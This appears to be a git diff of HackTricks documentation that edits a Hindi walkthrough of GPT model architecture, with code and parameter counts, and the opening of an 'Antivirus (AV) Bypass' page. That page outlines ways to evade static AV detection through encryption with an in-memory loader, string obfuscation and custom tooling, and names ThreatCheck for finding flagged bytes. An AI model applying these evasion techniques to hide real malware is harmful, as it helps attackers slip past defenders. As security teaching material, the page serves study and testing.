<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Input (Tokenized Text)**: प्रक्रिया टोकनयुक्त पाठ के साथ शुरू होती है, जिसे संख्यात्मक प्रतिनिधित्व में परिवर्तित किया जाता है।
|
||||
2. **Token Embedding and Positional Embedding Layer**: टोकनयुक्त पाठ को **टोकन एम्बेडिंग** परत और **पोजिशनल एम्बेडिंग परत** के माध्यम से भेजा जाता है, जो अनुक्रम में टोकनों की स्थिति को कैप्चर करता है, जो शब्द क्रम को समझने के लिए महत्वपूर्ण है।
|
||||
|
@ -21,7 +21,7 @@ LLM आर्किटेक्चर का उदाहरण [https://github.
|
|||
* **Layer Normalization**: प्रशिक्षण को स्थिर और सुधारने के लिए एक सामान्यीकरण कदम।
|
||||
* **Feed Forward Layer**: ध्यान परत से जानकारी को संसाधित करने और अगले टोकन के बारे में भविष्यवाणी करने के लिए जिम्मेदार।
|
||||
* **Dropout Layers**: ये परतें प्रशिक्षण के दौरान यादृच्छिक रूप से इकाइयों को छोड़कर ओवरफिटिंग को रोकती हैं।
|
||||
4. **Final Output Layer**: मॉडल एक **4x50,257-आयामी टेन्सर** आउटपुट करता है, जहाँ **50,257** शब्दावली के आकार का प्रतिनिधित्व करता है। इस टेन्सर में प्रत्येक पंक्ति एक वेक्टर के अनुरूप होती है जिसका उपयोग मॉडल अनुक्रम में अगले शब्द की भविष्यवाणी करने के लिए करता है।
|
||||
4. **Final Output Layer**: मॉडल एक **4x50,257-आयामी टेन्सर** आउटपुट करता है, जहां **50,257** शब्दावली के आकार का प्रतिनिधित्व करता है। इस टेन्सर में प्रत्येक पंक्ति एक वेक्टर के अनुरूप होती है जिसका उपयोग मॉडल अनुक्रम में अगले शब्द की भविष्यवाणी करने के लिए करता है।
|
||||
5. **Goal**: उद्देश्य इन एम्बेडिंग को लेना और उन्हें फिर से पाठ में परिवर्तित करना है। विशेष रूप से, आउटपुट की अंतिम पंक्ति का उपयोग अगले शब्द को उत्पन्न करने के लिए किया जाता है, जिसे इस आरेख में "आगे" के रूप में दर्शाया गया है।
|
||||
|
||||
### Code representation
|
||||
|
@ -215,10 +215,10 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
|||
* **स्मूद सक्रियण:** ReLU के विपरीत, जो नकारात्मक इनपुट को शून्य कर देता है, GELU इनपुट को आउटपुट में स्मूद तरीके से मैप करता है, जिससे नकारात्मक इनपुट के लिए छोटे, गैर-शून्य मानों की अनुमति मिलती है।
|
||||
* **गणितीय परिभाषा:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
इस फ़ंक्शन का उपयोग FeedForward लेयर के अंदर रेखीय परतों के बाद करने का लक्ष्य रेखीय डेटा को गैर-रेखीय में बदलना है ताकि मॉडल जटिल, गैर-रेखीय संबंधों को सीख सके।
|
||||
इस फ़ंक्शन का उपयोग FeedForward परत के अंदर रेखीय परतों के बाद करने का लक्ष्य रेखीय डेटा को गैर-रेखीय में बदलना है ताकि मॉडल जटिल, गैर-रेखीय संबंधों को सीख सके।
|
||||
{% endhint %}
|
||||
|
||||
### **FeedForward न्यूरल नेटवर्क**
|
||||
|
@ -252,18 +252,18 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
|||
* **दूसरी रैखिक परत:** आयाम को फिर से `emb_dim` तक कम करता है।
|
||||
|
||||
{% hint style="info" %}
|
||||
जैसा कि आप देख सकते हैं, फीड फॉरवर्ड नेटवर्क 3 परतों का उपयोग करता है। पहली एक रैखिक परत है जो रैखिक वजन (मॉडल के अंदर प्रशिक्षित करने के लिए पैरामीटर) का उपयोग करके आयामों को 4 से गुणा करेगी। फिर, GELU फ़ंक्शन का उपयोग उन सभी आयामों में गैर-रेखीय भिन्नताओं को लागू करने के लिए किया जाता है ताकि समृद्ध प्रतिनिधित्व को कैप्चर किया जा सके और अंततः एक और रैखिक परत का उपयोग करके मूल आयाम के आकार पर वापस लाया जाता है।
|
||||
जैसा कि आप देख सकते हैं, फीड फॉरवर्ड नेटवर्क 3 परतों का उपयोग करता है। पहली एक रैखिक परत है जो रैखिक वजन (मॉडल के अंदर प्रशिक्षित करने के लिए पैरामीटर) का उपयोग करके आयामों को 4 से गुणा करेगी। फिर, GELU फ़ंक्शन का उपयोग उन सभी आयामों में गैर-रेखीय भिन्नताओं को लागू करने के लिए किया जाता है ताकि समृद्ध प्रतिनिधित्व को कैप्चर किया जा सके और अंततः एक और रैखिक परत का उपयोग करके आयामों के मूल आकार पर वापस लाया जाता है।
|
||||
{% endhint %}
|
||||
|
||||
### **मल्टी-हेड ध्यान तंत्र**
|
||||
|
||||
यह पहले के खंड में पहले ही समझाया गया था।
|
||||
यह पहले के अनुभाग में पहले ही समझाया गया था।
|
||||
|
||||
#### **उद्देश्य और कार्यक्षमता**
|
||||
|
||||
* **मल्टी-हेड सेल्फ-अटेंशन:** मॉडल को टोकन को एन्कोड करते समय इनपुट अनुक्रम के भीतर विभिन्न पोजीशनों पर ध्यान केंद्रित करने की अनुमति देता है।
|
||||
* **मुख्य घटक:**
|
||||
* **क्वेरी, की, वैल्यू:** इनपुट के रैखिक प्रक्षिप्तियाँ, जो ध्यान स्कोर की गणना के लिए उपयोग की जाती हैं।
|
||||
* **क्वेरी, कीज़, वैल्यूज़:** इनपुट के रैखिक प्रक्षिप्तियाँ, जो ध्यान स्कोर की गणना के लिए उपयोग की जाती हैं।
|
||||
* **हेड्स:** समानांतर में चलने वाले कई ध्यान तंत्र (`num_heads`), प्रत्येक के साथ एक कम आयाम (`head_dim`)।
|
||||
* **ध्यान स्कोर:** क्वेरी और कीज़ के डॉट उत्पाद के रूप में गणना की जाती है, स्केल और मास्क की जाती है।
|
||||
* **मास्किंग:** भविष्य के टोकनों पर ध्यान केंद्रित करने से रोकने के लिए एक कारणात्मक मास्क लागू किया जाता है (GPT जैसे ऑटोरिग्रेसिव मॉडलों के लिए महत्वपूर्ण)।
|
||||
|
@ -272,9 +272,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
|||
* **आउटपुट प्रक्षिप्ति:** सभी हेड्स के आउटपुट को संयोजित करने के लिए रैखिक परत।
|
||||
|
||||
{% hint style="info" %}
|
||||
इस नेटवर्क का लक्ष्य एक ही संदर्भ में टोकनों के बीच संबंधों को खोजना है। इसके अलावा, टोकनों को विभिन्न हेड्स में विभाजित किया जाता है ताकि ओवरफिटिंग को रोका जा सके, हालांकि प्रत्येक हेड में पाए गए अंतिम संबंधों को इस नेटवर्क के अंत में संयोजित किया जाता है।
|
||||
इस नेटवर्क का लक्ष्य एक ही संदर्भ में टोकनों के बीच संबंधों को खोजना है। इसके अलावा, टोकनों को विभिन्न हेड्स में विभाजित किया जाता है ताकि ओवरफिटिंग से बचा जा सके, हालांकि प्रत्येक हेड में पाए गए अंतिम संबंधों को इस नेटवर्क के अंत में संयोजित किया जाता है।
|
||||
|
||||
इसके अलावा, प्रशिक्षण के दौरान एक **कारणात्मक मास्क** लागू किया जाता है ताकि बाद के टोकनों को एक टोकन के लिए विशिष्ट संबंधों को देखते समय ध्यान में न लिया जाए और कुछ **ड्रॉपआउट** भी लागू किया जाता है ताकि **ओवरफिटिंग को रोका जा सके**।
|
||||
इसके अलावा, प्रशिक्षण के दौरान एक **कारणात्मक मास्क** लागू किया जाता है ताकि बाद के टोकनों को एक टोकन के लिए विशिष्ट संबंधों को देखते समय ध्यान में नहीं लिया जाए और कुछ **ड्रॉपआउट** भी लागू किया जाता है ताकि **ओवरफिटिंग से बचा जा सके**।
|
||||
{% endhint %}
|
||||
|
||||
### **परत** सामान्यीकरण
|
||||
|
@ -300,9 +300,9 @@ return self.scale * norm_x + self.shift
|
|||
* **`eps`:** एक छोटा स्थिरांक (`1e-5`) जो सामान्यीकरण के दौरान शून्य से विभाजन को रोकने के लिए वैरिएंस में जोड़ा जाता है।
|
||||
* **`scale` और `shift`:** सीखने योग्य पैरामीटर (`nn.Parameter`) जो मॉडल को सामान्यीकृत आउटपुट को स्केल और शिफ्ट करने की अनुमति देते हैं। इन्हें क्रमशः एक और शून्य से प्रारंभ किया जाता है।
|
||||
* **सामान्यीकरण प्रक्रिया:**
|
||||
* **मीन की गणना (`mean`):** एम्बेडिंग आयाम (`dim=-1`) के पार इनपुट `x` का औसत निकालता है, प्रसार के लिए आयाम को बनाए रखते हुए (`keepdim=True`)।
|
||||
* **वैरिएंस की गणना (`var`):** एम्बेडिंग आयाम के पार `x` का वैरिएंस निकालता है, आयाम को भी बनाए रखते हुए। `unbiased=False` पैरामीटर यह सुनिश्चित करता है कि वैरिएंस पूर्वाग्रहित अनुमानक का उपयोग करके निकाला जाता है (N के बजाय N-1 से विभाजित करना), जो विशेषताओं के बजाय नमूनों के ऊपर सामान्यीकृत करते समय उपयुक्त है।
|
||||
* **नॉर्मलाइज (`norm_x`):** `x` से मीन घटाता है और वैरिएंस के वर्गमूल के साथ `eps` को जोड़कर विभाजित करता है।
|
||||
* **मीन की गणना (`mean`):** एम्बेडिंग आयाम (`dim=-1`) के बीच इनपुट `x` का औसत निकालता है, प्रसार के लिए आयाम को बनाए रखते हुए (`keepdim=True`)।
|
||||
* **वैरिएंस की गणना (`var`):** एम्बेडिंग आयाम के बीच `x` का वैरिएंस निकालता है, आयाम को भी बनाए रखते हुए। `unbiased=False` पैरामीटर यह सुनिश्चित करता है कि वैरिएंस पूर्वाग्रहित अनुमानक का उपयोग करके निकाला जाता है (जिसे `N` से विभाजित किया जाता है न कि `N-1` से), जो विशेषताओं के बजाय नमूनों पर सामान्यीकृत करते समय उपयुक्त है।
|
||||
* **नॉर्मलाइज (`norm_x`):** `x` से मीन को घटाता है और वैरिएंस के वर्गमूल के साथ `eps` को जोड़कर विभाजित करता है।
|
||||
* **स्केल और शिफ्ट:** सामान्यीकृत आउटपुट पर सीखने योग्य `scale` और `shift` पैरामीटर लागू करता है।
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -362,13 +362,13 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
|||
|
||||
1. **पहला अवशिष्ट पथ (सेल्फ-अटेंशन):**
|
||||
* **इनपुट (`shortcut`):** अवशिष्ट कनेक्शन के लिए मूल इनपुट को सहेजें।
|
||||
* **लेयर नॉर्म (`norm1`):** इनपुट को सामान्यीकृत करें।
|
||||
* **मल्टी-हेड अटेंशन (`att`):** सेल्फ-अटेंशन लागू करें।
|
||||
* **परत मानक (`norm1`):** इनपुट को सामान्यीकृत करें।
|
||||
* **मल्टी-हेड ध्यान (`att`):** सेल्फ-अटेंशन लागू करें।
|
||||
* **ड्रॉपआउट (`drop_shortcut`):** नियमितीकरण के लिए ड्रॉपआउट लागू करें।
|
||||
* **अवशिष्ट जोड़ें (`x + shortcut`):** मूल इनपुट के साथ मिलाएं।
|
||||
2. **दूसरा अवशिष्ट पथ (फीडफॉरवर्ड):**
|
||||
* **इनपुट (`shortcut`):** अगले अवशिष्ट कनेक्शन के लिए अपडेटेड इनपुट को सहेजें।
|
||||
* **लेयर नॉर्म (`norm2`):** इनपुट को सामान्यीकृत करें।
|
||||
* **परत मानक (`norm2`):** इनपुट को सामान्यीकृत करें।
|
||||
* **फीडफॉरवर्ड नेटवर्क (`ff`):** फीडफॉरवर्ड परिवर्तन लागू करें।
|
||||
* **ड्रॉपआउट (`drop_shortcut`):** ड्रॉपआउट लागू करें।
|
||||
* **अवशिष्ट जोड़ें (`x + shortcut`):** पहले अवशिष्ट पथ से इनपुट के साथ मिलाएं।
|
||||
|
@ -382,7 +382,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
|||
|
||||
### **GPTModel**
|
||||
|
||||
_आकृतियों को मैट्रिसेस के आकार को बेहतर समझने के लिए टिप्पणियों के रूप में जोड़ा गया है:_
|
||||
_आकृतियों को मैट्रिस के आकार को बेहतर समझने के लिए टिप्पणियों के रूप में जोड़ा गया है:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
|
@ -448,9 +448,9 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
|||
* **Output Layer (`out_head`):** अंतिम छिपे हुए राज्यों को शब्दावली के आकार में प्रक्षिप्त करता है ताकि भविष्यवाणी के लिए लॉजिट्स उत्पन्न हो सकें।
|
||||
|
||||
{% hint style="info" %}
|
||||
इस वर्ग का लक्ष्य **अनुक्रम में अगले टोकन की भविष्यवाणी करने** के लिए सभी अन्य उल्लेखित नेटवर्क का उपयोग करना है, जो पाठ निर्माण जैसे कार्यों के लिए मौलिक है।
|
||||
इस वर्ग का लक्ष्य सभी अन्य उल्लेखित नेटवर्क का उपयोग करके **अनुक्रम में अगला टोकन भविष्यवाणी करना** है, जो पाठ निर्माण जैसे कार्यों के लिए मौलिक है।
|
||||
|
||||
ध्यान दें कि यह **जितने ट्रांसफार्मर ब्लॉक निर्दिष्ट हैं उतने का उपयोग करेगा** और प्रत्येक ट्रांसफार्मर ब्लॉक एक मल्टी-हेड अटेंशन नेट, एक फीड फॉरवर्ड नेट और कई नॉर्मलाइजेशन का उपयोग कर रहा है। इसलिए यदि 12 ट्रांसफार्मर ब्लॉक का उपयोग किया जाता है, तो इसे 12 से गुणा करें।
|
||||
ध्यान दें कि यह **जितने ट्रांसफार्मर ब्लॉक निर्दिष्ट हैं, उतने का उपयोग करेगा** और प्रत्येक ट्रांसफार्मर ब्लॉक एक मल्टी-हेड अटेंशन नेट, एक फीड फॉरवर्ड नेट और कई नॉर्मलाइजेशन का उपयोग कर रहा है। इसलिए यदि 12 ट्रांसफार्मर ब्लॉकों का उपयोग किया जाता है, तो इसे 12 से गुणा करें।
|
||||
|
||||
इसके अलावा, एक **नॉर्मलाइजेशन** लेयर **आउटपुट** से **पहले** जोड़ी जाती है और अंत में परिणामों को उचित आयामों के साथ प्राप्त करने के लिए एक अंतिम रैखिक लेयर लागू की जाती है। ध्यान दें कि प्रत्येक अंतिम वेक्टर का आकार उपयोग की गई शब्दावली के आकार के बराबर है। इसका कारण यह है कि यह शब्दावली के भीतर संभावित टोकन के लिए एक संभावना प्राप्त करने की कोशिश कर रहा है।
|
||||
{% endhint %}
|
||||
|
@ -495,78 +495,78 @@ embedding_params = 38,597,376 + 786,432 = 39,383,808
|
|||
```
|
||||
#### **2. Transformer Blocks**
|
||||
|
||||
यहां 12 ट्रांसफार्मर ब्लॉक हैं, इसलिए हम एक ब्लॉक के लिए पैरामीटर की गणना करेंगे और फिर 12 से गुणा करेंगे।
|
||||
There are 12 transformer blocks, so we'll calculate the parameters for one block and then multiply by 12.
|
||||
|
||||
**प्रत्येक ट्रांसफार्मर ब्लॉक के लिए पैरामीटर**
|
||||
**Parameters per Transformer Block**
|
||||
|
||||
**a. मल्टी-हेड अटेंशन**
|
||||
**a. Multi-Head Attention**
|
||||
|
||||
* **घटक:**
|
||||
* **क्वेरी लीनियर लेयर (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **की लीनियर लेयर (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **वैल्यू लीनियर लेयर (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **आउटपुट प्रोजेक्शन (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
* **गणनाएँ:**
|
||||
* **`W_query`, `W_key`, `W_value` में से प्रत्येक:**
|
||||
* **Components:**
|
||||
* **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
* **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
* **Calculations:**
|
||||
* **Each of `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
चूंकि ऐसी तीन लेयर हैं:
|
||||
Since there are three such layers:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
* **आउटपुट प्रोजेक्शन (`out_proj`):**
|
||||
* **Output Projection (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
* **कुल मल्टी-हेड अटेंशन पैरामीटर:**
|
||||
* **Total Multi-Head Attention Parameters:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. फीडफॉरवर्ड नेटवर्क**
|
||||
**b. FeedForward Network**
|
||||
|
||||
* **घटक:**
|
||||
* **पहली लीनियर लेयर:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
* **दूसरी लीनियर लेयर:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
* **गणनाएँ:**
|
||||
* **पहली लीनियर लेयर:**
|
||||
* **Components:**
|
||||
* **First Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
* **Second Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
* **Calculations:**
|
||||
* **First Linear Layer:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
* **दूसरी लीनियर लेयर:**
|
||||
* **Second Linear Layer:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
* **कुल फीडफॉरवर्ड पैरामीटर:**
|
||||
* **Total FeedForward Parameters:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. लेयर नॉर्मलाइजेशन**
|
||||
**c. Layer Normalizations**
|
||||
|
||||
* **घटक:**
|
||||
* प्रत्येक ब्लॉक में दो `LayerNorm` उदाहरण।
|
||||
* प्रत्येक `LayerNorm` में `2 * emb_dim` पैरामीटर होते हैं (स्केल और शिफ्ट)।
|
||||
* **गणनाएँ:**
|
||||
* **Components:**
|
||||
* Two `LayerNorm` instances per block.
|
||||
* Each `LayerNorm` has `2 * emb_dim` parameters (scale and shift).
|
||||
* **Calculations:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. प्रत्येक ट्रांसफार्मर ब्लॉक के लिए कुल पैरामीटर**
|
||||
**d. Total Parameters per Transformer Block**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
|
|
|
@ -12,9 +12,9 @@ LoRA **बड़े मॉडलों** को प्रभावी ढंग
|
|||
1. इसका कारण यह है कि एक परत (मैट्रिक्स) के पूर्ण वजन अपडेट की गणना करने के बजाय, यह इसे 2 छोटे मैट्रिक्स के उत्पाद के रूप में अनुमानित करता है, अपडेट को गणना करने के लिए कम करता है:\
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
2. **मूल मॉडल के वजन को अपरिवर्तित रखता है**: LoRA आपको मूल मॉडल के वजन को समान रखने की अनुमति देता है, और केवल **नए छोटे मैट्रिक्स** (A और B) को अपडेट करता है। यह सहायक है क्योंकि इसका मतलब है कि मॉडल का मूल ज्ञान संरक्षित है, और आप केवल आवश्यक चीजों को समायोजित करते हैं।
|
||||
3. **कुशल कार्य-विशिष्ट फाइन-ट्यूनिंग**: जब आप मॉडल को **नए कार्य** के लिए अनुकूलित करना चाहते हैं, तो आप केवल **छोटे LoRA मैट्रिक्स** (A और B) को प्रशिक्षित कर सकते हैं जबकि बाकी मॉडल को वैसा ही छोड़ सकते हैं। यह पूरे मॉडल को फिर से प्रशिक्षित करने की तुलना में **बहुत अधिक कुशल** है।
|
||||
3. **कार्य-विशिष्ट फाइन-ट्यूनिंग में दक्षता**: जब आप मॉडल को **नए कार्य** के लिए अनुकूलित करना चाहते हैं, तो आप केवल **छोटे LoRA मैट्रिक्स** (A और B) को प्रशिक्षित कर सकते हैं जबकि बाकी मॉडल को वैसा ही छोड़ सकते हैं। यह पूरे मॉडल को फिर से प्रशिक्षित करने की तुलना में **बहुत अधिक कुशल** है।
|
||||
4. **स्टोरेज दक्षता**: फाइन-ट्यूनिंग के बाद, प्रत्येक कार्य के लिए **एक नया पूरा मॉडल** सहेजने के बजाय, आपको केवल **LoRA मैट्रिक्स** को सहेजने की आवश्यकता होती है, जो पूरे मॉडल की तुलना में बहुत छोटे होते हैं। इससे मॉडल को कई कार्यों के लिए अनुकूलित करना आसान हो जाता है बिना बहुत अधिक स्टोरेज का उपयोग किए।
|
||||
|
||||
LoraLayers को फाइन ट्यूनिंग के दौरान Linear के बजाय लागू करने के लिए, यहां यह कोड प्रस्तावित किया गया है [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
||||
|
|
|
@ -1,95 +1,95 @@
|
|||
# Antivirus (AV) Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**यह पृष्ठ लिखा गया है** [**@m2rc\_p**](https://twitter.com/m2rc\_p)** द्वारा!**
|
||||
**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
|
||||
|
||||
## **AV बचाव पद्धति**
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
वर्तमान में, AV विभिन्न तरीकों का उपयोग करते हैं यह जांचने के लिए कि क्या एक फ़ाइल दुर्भावनापूर्ण है या नहीं, स्थिर पहचान, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारात्मक विश्लेषण।
|
||||
Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
|
||||
|
||||
### **स्थिर पहचान**
|
||||
### **Static detection**
|
||||
|
||||
स्थिर पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करना आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
|
||||
Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
|
||||
|
||||
* **एन्क्रिप्शन**
|
||||
* **Encryption**
|
||||
|
||||
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV के लिए आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको प्रोग्राम को मेमोरी में डिक्रिप्ट और चलाने के लिए किसी प्रकार के लोडर की आवश्यकता होगी।
|
||||
If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
|
||||
|
||||
* **ओबफस्केशन**
|
||||
* **Obfuscation**
|
||||
|
||||
कभी-कभी आपको अपने बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स को बदलने की आवश्यकता होती है ताकि यह AV को पार कर सके, लेकिन यह उस पर निर्भर करता है कि आप क्या ओबफस्केट करने की कोशिश कर रहे हैं।
|
||||
Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
|
||||
|
||||
* **कस्टम टूलिंग**
|
||||
* **Custom tooling**
|
||||
|
||||
यदि आप अपने खुद के टूल विकसित करते हैं, तो कोई ज्ञात बुरा हस्ताक्षर नहीं होगा, लेकिन इसमें बहुत समय और प्रयास लगता है।
|
||||
If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
|
||||
|
||||
{% hint style="info" %}
|
||||
Windows Defender स्थिर पहचान के खिलाफ जांचने का एक अच्छा तरीका है [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)। यह मूल रूप से फ़ाइल को कई खंडों में विभाजित करता है और फिर Defender को प्रत्येक को व्यक्तिगत रूप से स्कैन करने के लिए कहता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में कौन सी स्ट्रिंग्स या बाइट्स फ्लैग किए गए हैं।
|
||||
A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
|
||||
{% endhint %}
|
||||
|
||||
